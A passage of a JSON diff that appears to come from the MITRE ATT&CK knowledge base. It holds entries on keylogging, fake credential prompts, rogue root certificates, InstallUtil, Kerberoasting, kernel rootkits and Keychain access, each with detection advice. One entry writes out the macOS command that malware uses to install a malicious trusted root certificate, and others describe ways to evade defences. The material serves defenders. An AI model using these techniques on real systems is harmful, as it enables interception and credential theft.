Keylogging)", + "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "created": "2017-05-31T21:30:48.323Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1056", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056" + }, + { + "source_name": "capec", + "external_id": "CAPEC-568", + "url": "https://capec.mitre.org/data/definitions/568.html" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + }, + { + "source_name": "Wrightson 2012", + "description": "Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.", + "url": "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/" + }, + { + "source_name": "Volexity Virtual Private Keylogging", + "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.", + "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + } + ], + "modified": "2019-06-18T13:33:08.842Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "User interface", + "PowerShell logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Input Prompt", + "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).", + "id": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials.\n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matthew Molyett, @s1air" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1141", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1141" + }, + { + "source_name": "capec", + "external_id": "CAPEC-569", + "url": "https://capec.mitre.org/data/definitions/569.html" + }, + { + "source_name": "OSX Malware Exploits MacKeeper", + "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", + "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + }, + { + "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", + "source_name": "LogRhythm Do You Trust Oct 2014", + "url": "https://logrhythm.com/blog/do-you-trust-your-computer/" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", + "source_name": "Enigma Phishing for Credentials Jan 2015", + "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/" + } + ], + "modified": "2019-06-25T14:06:02.686Z" + }, + { + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Digital certificate logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "name": "Install Root Certificate", + "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", + "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "modified": "2019-07-19T14:44:30.545Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach", + "Travis Smith, Tripwire", + "Red Canary", + "Matt Graeber, @mattifestation, SpecterOps" + ], + "created": "2017-05-31T21:31:42.750Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1130", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1130" + }, + { + "source_name": "capec", + "external_id": "CAPEC-479", + "url": "https://capec.mitre.org/data/definitions/479.html" + }, + { + "source_name": "Wikipedia Root Certificate", + "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", + "url": "https://en.wikipedia.org/wiki/Root_certificate" + }, + { + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" + }, + { + "source_name": "Kaspersky Superfish", + "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", + "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + }, + { + "source_name": "objective-see ay mami 2018", + "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", + "url": "https://objective-see.com/blog/blog_0x26.html" + }, + { + "source_name": "Microsoft Sigcheck May 2017", + "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck" + }, + { + "source_name": "Tripwire AppUNBlocker", + "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", + "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" + } + ], + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "InstallUtil", + "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "x_mitre_remote_support": false, + "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", + "modified": "2019-07-31T18:11:14.192Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Casey Smith", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:31:27.510Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1118", + "url": "https://attack.mitre.org/techniques/T1118" + }, + { + "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.", + "source_name": "MSDN InstallUtil", + "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx" + }, + { + "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Installutil", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Digital Certificate Validation" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "DNS records", + "Anti-virus", + "Web proxy", + "File monitoring", + "Mail server", + "Office 365 trace logs" + ], + "name": "Internal Spearphishing", + "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)", + "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "Office 365", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Tim MalcomVetter", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "created": "2019-09-04T19:26:12.441Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1534", + "url": "https://attack.mitre.org/techniques/T1534" + }, + { + "source_name": "Trend Micro When Phishing Starts from the Inside 2017", + "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.", + "url": "https://blog.trendmicro.com/phishing-starts-inside/" + }, + { + "source_name": "THE FINANCIAL TIMES LTD 2019.", + "description": "THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.", + "url": " https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6 " + } + ], + "modified": "2019-10-22T21:37:05.004Z" + }, + { + "x_mitre_data_sources": [ + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Kerberoasting", + "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", + "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Valid domain account or the ability to sniff traffic within a domain." + ], + "type": "attack-pattern", + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1208", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1208" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", + "url": "https://msdn.microsoft.com/library/ms677949.aspx" + }, + { + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx" + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018." + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", + "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + }, + { + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ], + "modified": "2019-07-18T15:18:23.401Z" + }, + { + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_data_sources": [ + "System calls", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Kernel Modules and Extensions", + "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", + "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Jeremy Galloway", + "Red Canary" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1215", + "url": "https://attack.mitre.org/techniques/T1215" + }, + { + "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.", + "source_name": "Linux Kernel Programming", + "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf" + }, + { + "source_name": "Linux Kernel Module Programming Guide", + "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.", + "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html" + }, + { + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.", + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + }, + { + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.", + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/" + }, + { + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.", + "url": "https://github.com/f0rb1dd3n/Reptile" + }, + { + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.", + "url": "https://github.com/m0nad/Diamorphine" + }, + { + "source_name": "iDefense Rootkit Overview", + "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.", + "url": "http://www.megasecurity.org/papers/Rootkits.pdf" + }, + { + "source_name": "RSAC 2015 San Francisco Patrick Wardle", + "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + }, + { + "source_name": "Synack Secure Kernel Extension Broken", + "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018.", + "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/" + }, + { + "source_name": "Securelist Ventir", + "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.", + "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/" + }, + { + "source_name": "Wikipedia Loadable Kernel Module", + "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.", + "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + }, + { + "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.", + "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html" + } + ], + "modified": "2019-07-18T15:24:28.077Z" + }, + { + "x_mitre_data_sources": [ + "System calls", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "Keychain", + "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.", + "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1142", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1142" + }, + { + "source_name": "Wikipedia keychain", + "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Keychain_(software)" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ], + "modified": "2019-07-18T15:25:08.539Z" + }, + { + "x_mitre_data_sources": [ + "Binary file metadata", + "Process monitoring", + "Process command-line parameters", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "LC_LOAD_DYLIB Addition", + "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).", + "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", + "created_by_ref": 